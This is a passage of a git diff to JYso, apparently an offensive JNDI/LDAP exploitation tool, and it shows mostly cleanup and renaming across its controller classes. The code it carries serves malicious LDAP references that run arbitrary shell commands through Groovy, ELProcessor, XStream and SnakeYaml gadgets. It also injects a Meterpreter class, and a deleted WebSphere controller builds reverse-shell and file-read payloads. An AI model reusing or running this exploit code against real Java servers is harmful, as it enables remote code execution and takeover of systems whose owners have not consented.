base.length()) { - int next = base.indexOf('/', cursor); - if (next == -1) next = base.length(); - - if (next > cursor) { - if (found == index) { - return base.substring(cursor, next); - } - found++; - } - cursor = next + 1; - } - return ""; + return getStringQ(base, index); } // 返回连字符后的子串,用于解析自定义类名。 @@ -170,7 +158,7 @@ public class ELProcessorController implements LdapController { // 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。 private class TomcatBypassHelper { - String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Class clazz = Class.forName("com.qi4l.JYso.template.Meterpreter"); Field host = clazz.getDeclaredField("host"); host.setAccessible(true); @@ -182,18 +170,18 @@ public class ELProcessorController implements LdapController { return InjShell.injectClass(clazz); } - String getExecCode(String cmd) throws IOException { - return "var strs=new Array(3);\n" + String getExecCode(String cmd) { + return "var str_s=new Array(3);\n" + " if(java.io.File.separator.equals('/')){\n" - + " strs[0]='/bin/bash';\n" - + " strs[1]='-c';\n" - + " strs[2]='" + cmd + "';\n" + + " str_s[0]='/bin/bash';\n" + + " str_s[1]='-c';\n" + + " str_s[2]='" + cmd + "';\n" + " }else{\n" - + " strs[0]='cmd';\n" - + " strs[1]='/C';\n" - + " strs[2]='" + cmd + "';\n" + + " str_s[0]='cmd';\n" + + " str_s[1]='/C';\n" + + " str_s[2]='" + cmd + "';\n" + " }\n" - + " java.lang.Runtime.getRuntime().exec(strs);"; + + " java.lang.Runtime.getRuntime().exec(str_s);"; } } } diff --git a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java index 4b0a9df..ebb7b23 100644 --- a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java +++ b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java @@ -1,9 +1,8 @@ package com.qi4l.JYso.controllers; -import com.qi4l.JYso.enumtypes.PayloadType; import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; @@ -13,8 +12,6 @@ import org.fusesource.jansi.Ansi; import javax.naming.StringRefAddr; -import static org.fusesource.jansi.Ansi.ansi; - /* * Requires: * - Tomcat and Groovy in classpath @@ -29,13 +26,7 @@ import static org.fusesource.jansi.Ansi.ansi; @LdapMapping(uri = {"/groovy"}) public class GroovyController implements LdapController { - private PayloadType type; - private String[] params; - private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + - " ['cmd','/C', '${cmd}'].execute();\n" + - " } else {\n" + - " ['/bin/sh','-c', '${cmd}'].execute();\n" + - " }"; + private String[] params; @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { @@ -45,9 +36,14 @@ public class GroovyController implements LdapController { //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=evaluate")); + String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + + " ['cmd','/C', '${cmd}'].execute();\n" + + " } else {\n" + + " ['/bin/sh','-c', '${cmd}'].execute();\n" + + " }"; ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); - e.addAttribute("javaSerializedData", Util.serialize(ref)); + e.addAttribute("javaSerializedData", Utils.serialize(ref)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); @@ -55,22 +51,16 @@ public class GroovyController implements LdapController { @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI LDAP Local Refenrence Links + Groovy"); + System.out.println("- JNDI LDAP Local Reference Links + Groovy"); try { - int firstIndex = base.indexOf("/"); + int firstIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", firstIndex + 1); if (secondIndex < 0) secondIndex = base.length(); String payloadType = base.substring(firstIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); - if (payloadType.equalsIgnoreCase("command")) { - type = PayloadType.valueOf("command"); - //System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type)); - } else { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType); - } + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); - String cmd = Util.getCmdFromBase(base); + String cmd = Utils.getCmdFromBase(base); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); params = new String[]{cmd}; } catch (Exception e) { diff --git a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java index 7e7c194..1805dc0 100644 --- a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java +++ b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java @@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; @@ -16,9 +16,8 @@ import org.fusesource.jansi.Ansi; import javax.naming.StringRefAddr; @LdapMapping(uri = {"/memoryxxe"}) -public class MemoryXXEController implements LdapController{ - private String payloadType; - private String[] params; +public class MemoryXXEController implements LdapController { + private String[] params; private GadgetType gadgetType; @Override @@ -28,31 +27,23 @@ public class MemoryXXEController implements LdapController{ ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", params[0])); - e.addAttribute("javaSerializedData", Util.serialize(ref)); + e.addAttribute("javaSerializedData", Utils.serialize(ref)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { - System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE"); + System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE"); try { base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); + int fistIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", fistIndex + 1); if (secondIndex < 0) secondIndex = base.length(); - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - //System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - int thirdIndex = base.indexOf("/", secondIndex + 1); if (thirdIndex != -1) { - if (thirdIndex < 0) thirdIndex = base.length(); try { gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); } catch (IllegalArgumentException e) { @@ -61,7 +52,7 @@ public class MemoryXXEController implements LdapController{ } if (gadgetType == GadgetType.base64) { - String cmd = Util.getCmdFromBase(base); + String cmd = Utils.getCmdFromBase(base); System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); params = new String[]{cmd}; } diff --git a/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java b/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java deleted file mode 100644 index af31f42..0000000 --- a/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.qi4l.JYso.controllers; - -import javax.naming.RefAddr; -import java.util.Properties; - -//this is a stub class required by WebSphere2 ldap handler -public class PropertiesRefAddr extends RefAddr { - private static final long serialVersionUID = 288055886942232156L; - private Properties props; - - public PropertiesRefAddr(String addrType, Properties props) { - super(addrType); - this.props = props; - } - - public Object getContent() { - return this.props; - } -} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java index 6e4e833..a65fcf8 100644 --- a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java +++ b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java @@ -7,28 +7,27 @@ import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.gadgets.ObjectPayload; import com.qi4l.JYso.gadgets.utils.Serializer; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; -import org.apache.commons.cli.CommandLine; import org.fusesource.jansi.Ansi; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.io.ByteArrayOutputStream; import java.util.Base64; import static com.qi4l.JYso.gadgets.Config.Config.BCEL1; -import static org.fusesource.jansi.Ansi.ansi; @LdapMapping(uri = {"/deserialization"}) public class SerializedDataController implements LdapController { - public static String gadgetType; - public static String cmd11; - public static GadgetType gadgetType1; - public static CommandLine cmdLine; - private PayloadType payloadType; - private String params; + private static final Logger log = LoggerFactory.getLogger(SerializedDataController.class); + public static String gadgetType; + public static String cmd11; + public static GadgetType gadgetType1; + private String params; @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { @@ -38,8 +37,8 @@ public class SerializedDataController implements LdapController { try { final Class payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); - ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject(params); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(params); if (SerializedDataController.gadgetType.equals("JRE8u20")) { bytes = (byte[]) object; @@ -54,7 +53,7 @@ public class SerializedDataController implements LdapController { result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Throwable er) { System.err.println("Error while generating or serializing payload"); - er.printStackTrace(); + log.error(String.valueOf(er)); } } @@ -63,20 +62,21 @@ public class SerializedDataController implements LdapController { System.out.println("- JNDI Deserialization Links "); try { base = base.replace('\\', '/'); - int firstIndex = base.indexOf("/"); + int firstIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", firstIndex + 1); try { gadgetType = base.substring(firstIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset()); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset()); } catch (IllegalArgumentException e) { - throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex)); + throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex)); } - int thirdIndex = base.indexOf("/", secondIndex + 1); - int fourIndex = base.indexOf("/", thirdIndex + 1); - String Ty1 = base.substring(thirdIndex + 1, fourIndex); + int thirdIndex = base.indexOf("/", secondIndex + 1); + int fourIndex = base.indexOf("/", thirdIndex + 1); + String Ty1 = base.substring(thirdIndex + 1, fourIndex); gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase()); // 若第三个斜杠不存在,则把其设置成为字符串的长度 if (thirdIndex < 0) thirdIndex = base.length(); + PayloadType payloadType; try { // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 String Ty3 = base.substring(secondIndex + 1, thirdIndex); @@ -93,13 +93,13 @@ public class SerializedDataController implements LdapController { if (payloadType == PayloadType.command) { if (gadgetType1 == GadgetType.base64) { - cmd11 = Util.getCmdFromBase(base); + cmd11 = Utils.getCmdFromBase(base); } if (gadgetType1 == GadgetType.base64Two) { - String encodedString = Util.getCmdFromBase(base); - byte[] decodedBytes = Base64.getDecoder().decode(encodedString); - String T1 = new String(decodedBytes); + String encodedString = Utils.getCmdFromBase(base); + byte[] decodedBytes = Base64.getDecoder().decode(encodedString); + String T1 = new String(decodedBytes); byte[] decodedBytes1 = Base64.getDecoder().decode(T1); cmd11 = new String(decodedBytes1); } diff --git a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java index 798aecd..dbc1ccd 100644 --- a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java +++ b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java @@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; @@ -17,8 +17,7 @@ import javax.naming.StringRefAddr; @LdapMapping(uri = {"/snakeyaml"}) public class SnakeYamlController implements LdapController { - private String payloadType; - private String[] params; + private String[] params; private GadgetType gadgetType; @Override @@ -34,31 +33,23 @@ public class SnakeYamlController implements LdapController { "]"; ref.add(new StringRefAddr("forceString", "a=load")); ref.add(new StringRefAddr("a", yaml)); - e.addAttribute("javaSerializedData", Util.serialize(ref)); + e.addAttribute("javaSerializedData", Utils.serialize(ref)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { - System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml"); + System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml"); try { base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); + int fistIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", fistIndex + 1); if (secondIndex < 0) secondIndex = base.length(); - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - //System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - int thirdIndex = base.indexOf("/", secondIndex + 1); if (thirdIndex != -1) { - if (thirdIndex < 0) thirdIndex = base.length(); try { gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); } catch (IllegalArgumentException e) { @@ -67,7 +58,7 @@ public class SnakeYamlController implements LdapController { } if (gadgetType == GadgetType.base64) { - String cmd = Util.getCmdFromBase(base); + String cmd = Utils.getCmdFromBase(base); System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); params = new String[]{cmd}; } diff --git a/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java b/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java deleted file mode 100644 index 0131cd6..0000000 --- a/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java +++ /dev/null @@ -1,136 +0,0 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.enumtypes.PayloadType; -import com.qi4l.JYso.enumtypes.WebsphereActionType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.utils.Util; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; - -import javax.naming.Reference; -import javax.naming.StringRefAddr; -import java.util.Properties; - -import static org.fusesource.jansi.Ansi.ansi; - -/* - * Requires: - * - websphere v6-9 libraries in the classpath - */ - -@LdapMapping(uri = {"/websphere"}) -public class WebsphereController implements LdapController { - private WebsphereActionType actionType; - private String localJarPath; - private String injectUrl; - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base)); - - Entry e = new Entry(base); - e.addAttribute("javaClassName", "java.lang.String"); //could be any - - Reference ref; - if (actionType == WebsphereActionType.rce) { - //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory - ref = new Reference("ExportObject", - "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); - Properties refProps = new Properties(); - refProps.put("com.ibm.ws.client.classpath", localJarPath); - refProps.put("com.ibm.ws.client.classname", "xExportObject"); -// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps)); - - } else { - //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory - ref = new Reference("ExploitObject", - "com.ibm.ws.webservices.engine.client.ServiceFactory", null); - ref.add(new StringRefAddr("WSDL location", injectUrl)); - ref.add(new StringRefAddr("service namespace", "xxx")); - ref.add(new StringRefAddr("service local part", "yyy")); - } - e.addAttribute("javaSerializedData", Util.serialize(ref)); - - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException { - try { - int firstIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", firstIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType)); - } catch (IllegalArgumentException e) { - throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex)); - } - - switch (actionType) { - case list: - String file = base.substring(base.lastIndexOf("=") + 1); - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file)); - injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file; - break; - case rce: - String localJarFile = base.substring(base.lastIndexOf("=") + 1); - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile)); - localJarPath = localJarFile; - break; - case upload: - int thirdIndex = base.indexOf("/", secondIndex + 1); - if (thirdIndex < 0) thirdIndex = base.length(); - - PayloadType payloadType; - try { - payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); - // webspherebypass 只支持这 4 种类型的 PayloadType - if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog - && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); - } - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); - } - - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType)); - switch (payloadType) { - case command: - String cmd = Util.getCmdFromBase(base); - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd)); - injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd; - break; - case dnslog: - String url = base.substring(base.lastIndexOf("/") + 1); - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url)); - injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url; - break; - case reverseshell: - String[] results = Util.getIPAndPortFromBase(base); - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0])); - System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1])); - injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1]; - break; - case webspherememshell: - injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell"; - break; - } - break; - } - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e; - - throw new IncorrectParamsException("Incorrect params: " + base); - } - } -} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java index 00d7272..8c54507 100644 --- a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java +++ b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java @@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; @@ -16,9 +16,10 @@ import org.fusesource.jansi.Ansi; import javax.naming.StringRefAddr; @LdapMapping(uri = {"/xstream"}) -public class XStreamController implements LdapController{ +public class XStreamController implements LdapController { private PayloadType type; - private String[] params; + private String[] params; + @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { Entry e = new Entry(base); @@ -60,12 +61,12 @@ public class XStreamController implements LdapController{ " \n" + " \n" + " \n" + - " "+ params[0] +"\n" + + " " + params[0] + "\n" + " \n" + ""; ref.add(new StringRefAddr("forceString", "a=fromXML")); ref.add(new StringRefAddr("a", xml)); - e.addAttribute("javaSerializedData", Util.serialize(ref)); + e.addAttribute("javaSerializedData", Utils.serialize(ref)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } @@ -74,7 +75,7 @@ public class XStreamController implements LdapController{ public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { System.out.println("- JNDI LDAP Local Refenrence Links + XStream"); try { - int firstIndex = base.indexOf("/"); + int firstIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", firstIndex + 1); if (secondIndex < 0) secondIndex = base.length(); @@ -87,7 +88,7 @@ public class XStreamController implements LdapController{ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType); } - String cmd = Util.getCmdFromBase(base); + String cmd = Utils.getCmdFromBase(base); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); params = new String[]{cmd}; } catch (Exception e) { diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java index e0e1789..06ec0b3 100644 --- a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java +++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java @@ -3,87 +3,90 @@ package com.qi4l.JYso.controllers; import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.fusesource.jansi.Ansi; - -import static org.fusesource.jansi.Ansi.ansi; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; @LdapMapping(uri = {"/jdbc1"}) public class jdbcController1 implements LdapController { - private String payloadType; + private static final Logger log = LoggerFactory.getLogger(jdbcController1.class); + private static String payloadType; - private String factoryType; - private String[] params; - private GadgetType gadgetType; + private static String factoryType; + private static String[] params; + private static GadgetType gadgetType; + + public static void printResultJDBC1(String base) throws Exception { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); + params = new String[]{cmd}; + } + } @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { try { - Entry e = new Entry(base); + Entry e = new Entry(base); String driver = payloadType; String JDBC_URL = params[0]; - e.addAttribute("objectClass","javaNamingReference"); + e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaClassName", "javax.sql.DataSource"); - e.addAttribute("javaFactory",factoryType); - e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1"); + e.addAttribute("javaFactory", factoryType); + e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1"); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Throwable er) { System.err.println("Error while generating or serializing payload"); - er.printStackTrace(); + log.error(String.valueOf(er)); } } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI JDBC Refenrence Links Target < JDK20"); + System.out.println("- JNDI JDBC Reference Links Target < JDK20"); try { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int thirdIndex = base.indexOf("/", secondIndex + 1); - if (thirdIndex < 0) thirdIndex = base.length(); - - try { - factoryType = base.substring(secondIndex + 1, thirdIndex); - System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int fourthIndex = base.indexOf("/", thirdIndex + 1); - - if (fourthIndex != -1) { - if (fourthIndex < 0) fourthIndex = base.length(); - try { - gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Util.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); - params = new String[]{cmd}; - } - + printResultJDBC1(base); } catch (Exception e) { if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java index 6dba10b..60fb439 100644 --- a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java +++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java @@ -3,35 +3,73 @@ package com.qi4l.JYso.controllers; import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.InjShell; -import com.qi4l.JYso.gadgets.utils.Util; -import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.JYso.gadgets.utils.Utils; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import 